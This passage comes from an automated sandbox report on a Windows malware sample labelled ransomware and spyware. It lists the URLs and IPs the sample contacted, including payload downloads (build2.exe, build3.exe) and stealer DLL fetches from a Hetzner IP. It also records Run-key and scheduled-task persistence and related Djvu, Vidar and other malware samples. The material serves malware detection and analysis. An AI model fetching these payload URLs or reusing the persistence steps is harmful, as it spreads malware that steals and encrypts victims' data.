https://api.2ip.ua/geo.jsonv	8jvTeVxooN.exe, 00000006.00000003.1679274955.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.00000000005E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonIcnw-	8jvTeVxooN.exe, 0000000D.00000002.1834914451.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/freebl3.dllme	build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.nytimes.com/	8jvTeVxooN.exe, 00000004.00000003.1981164453.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://95.217.9.149/FX	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	build2.exe, 00000008.00000003.1902123418.0000000000931000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0	build2.exe, 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://store.steampowered.com/	build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsont#K2b1	8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$runo	8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cajgtus.com/files/1/build3.exerun	8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/freebl3.dll_11	build2.exe, 00000008.00000003.1917394999.0000000000940000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:27060	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149/mozglue.dllosoft	build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/nss3.dll	build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/sqln.dllitP	build2.exe, 00000008.00000003.1836572904.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exerun	8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.steampowered.com/	build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wikipedia.com/	8jvTeVxooN.exe, 00000004.00000003.1981334252.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://95.217.9.149/softokn3.dllF	build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com	8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.live.com/	8jvTeVxooN.exe, 00000004.00000003.1981102098.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
https://95.217.9.149/freebl3.dllg	build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/mobile	build2.exe, 00000008.00000003.1797440308.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1769750847.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1752174635.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1815268744.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com	8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run2F	8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/softokn3.dll	build2.exe, 00000008.00000002.2869925452.00000000009CD000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149/msvcp140.dllsoft	build2.exe, 00000008.00000002.2868783397.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://player.vimeo.com	build2.exe, 00000008.00000003.1733033744.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1735179514.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006F7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2353220737.00000000030B0000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://95.217.9.149/sqln.dllUSC	build2.exe, 00000008.00000003.1836572904.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	8jvTeVxooN.exe, 00000004.00000003.1983261233.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
123.140.161.243	sdfjhuz.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
184.30.90.143	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
85.11.159.22	cajgtus.com	Bulgaria	25147	SOFIANETBG	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430799
Start date and time:	2024-04-24 07:36:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8jvTeVxooN.exe renamed because original name is a hash value
Original Sample Name:	efd7d885536ef4fd62cbc513bbe04d6e.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@21/1388@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 74 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:36:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
06:36:58	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe s>--Task
06:37:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
07:37:14	API Interceptor	1x Sleep call for process: build2.exe modified
07:37:27	API Interceptor	1x Sleep call for process: 8jvTeVxooN.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Looy Ransomware.cmd	Get hash	malicious	Babuk, Djvu	Browse
	BuThoFHNNK.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xehook Stealer	Browse
123.140.161.243	LZO44jd1n0.exe	Get hash	malicious	SmokeLoader	Browse	nidoe.org/tmp/index.php
	SecuriteInfo.com.Win32.CrypterX-gen.10322.6841.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	trmpc.com/check/index.php
	Jrkfds7rI5.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, PureLog Stealer	Browse	sdfjhuz.com/dl/build2.exe
	TsfYchEAeZ.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc, Vidar	Browse	trmpc.com/check/index.php
	buildz.exe	Get hash	malicious	Babuk, Djvu	Browse	habrafa.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	hNi7rnNnSc.exe	Get hash	malicious	SmokeLoader	Browse	sjyey.com/tmp/index.php
	8qYYdOgSHI.exe	Get hash	malicious	Amadey, PureLog Stealer, SmokeLoader	Browse	cbinr.com/forum/index.php
	aC4Qp8f9ks.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	sjyey.com/tmp/index.php
	O1yQjHheL6.exe	Get hash	malicious	Amadey, PureLog Stealer, SmokeLoader	Browse	sjyey.com/tmp/index.php
	AVd1AwJFiQ.exe	Get hash	malicious	LummaC, Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cajgtus.com	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	58.151.148.90
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.195.132.134
sdfjhuz.com	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	179.27.75.59
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	187.134.67.105
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	181.128.130.193
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	186.112.12.51
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	190.249.187.165
api.2ip.ua	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.139.220
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse	104.21.65.24
steamcommunity.com	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.76.43.59
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.67.208.180
	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74
	file.exe	Get hash	malicious	Vidar	Browse	23.65.246.108
	file.exe	Get hash	malicious	Vidar	Browse	184.27.10.105
	file.exe	Get hash	malicious	Vidar	Browse	23.61.62.148
	file.exe	Get hash	malicious	Vidar	Browse	184.30.122.179
	SamFw Tool 4.exe	Get hash	malicious	Vidar	Browse	23.4.32.216

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LGDACOMLGDACOMCorporationKR	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	211.168.166.45
	1mHUcsxKG6.elf	Get hash	malicious	Mirai	Browse	123.143.169.235
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	61.248.201.89
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	118.131.165.73
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	112.222.118.250
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	106.244.173.151
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	106.253.208.41
	CxBkzmVHaR.elf	Get hash	malicious	Mirai	Browse	1.216.113.65
HETZNER-ASDE	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	BW38j8Jkbl.exe	Get hash	malicious	Pony	Browse	144.76.41.117
	https://webmail.cmxserver.com/authsecure/index.php?email=kaylen@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse	136.243.80.35
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	#4711 Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	94.130.55.203
	https://go-g3t-msg.com/clk/a_OsB_gBHRWO62vTWAvzpOfGhlvCmgnqQuB_nVFpwp0KsQNH4MVSSKRIuzJYdR_BaVVJ5ZUVsLA7nr4fsUb6_LUiF6WGpw3bjwuz5vIgSMwTtrE34sfAdm_UkarEQxhut5pfRW1RXCEHttsR2H4S_hK5eTdM2QP7CpynnqXHAbBrQcsZM-9kqSh5d_nLiZhEZPZ8-fFHjtAo-IjMx8qNxpwUaG3dVXhIP_Sup8raijFjXrg2qZL33tH_5PvkpDXJwZtdK-fqRvdTEjPP1v26xG4zHKIduU5irbL6N1Be1W_4vpi6D3s8twjJ8VAELgUZErAiigzfRVU0knOdQpcprkwW48npT3pYYpFqQU_lE9JBwESVd70JOVQuZWj_0cT7YVVRRta1y8F8vjFBDtNL73BXlqjP5sWlGZtuOnQDJ-iEKMXGy1W4uSrGBn5j07qBR3I1glqsVkAz7msz4iUFsVZ76hS_yvRcDNZBMYnXgKJRgA1A2nVJ9rwv5a55G82GhCYmOQvkUs0eG7vFHjr8gNQtxUn0q5LeVhTPJbym_uRj-gxiLJDjsLnSJXJ4eGtDvxVqhkaqM2P03jYs6BzR_fyd4ak2ZNKBm4FiGWKP44e6keEO2eNlfhZPBYG9OMlI3UM7jaU5YayqoO3Z	Get hash	malicious	Unknown	Browse	178.63.248.54
CLOUDFLARENETUS	xF3wienia PO2102559-1.xlsx	Get hash	malicious	Unknown	Browse	172.67.215.45
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	1.1.1.1
	F#U0130YAT TEKL#U0130F.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	162.159.61.3
	New Order - DUBAI BURJ KHALIFA LLC - PRICE ENQUIRY - RFQ 60000764690.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.206.230
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	172.67.206.230
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	New DHL Shipment Document Arrival Notice.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	hesaphareketi_1.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	104.21.15.201
AKAMAI-ASUS	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	23.217.9.75
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	23.200.60.110
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	PO#0023298413.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.43.51.75
	EXTERNAL Bonnie St Dryden is inviting you to collaborate on One_docx(Apr 23) DOC3848493.msg	Get hash	malicious	HTMLPhisher	Browse	23.223.31.231
	https://lithiuimvalley.com/ssd	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	96.17.33.186
	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	SamFw Tool 4.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.139.220 184.30.90.143
	DAIKIN AC SPAIN 2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.30.90.143
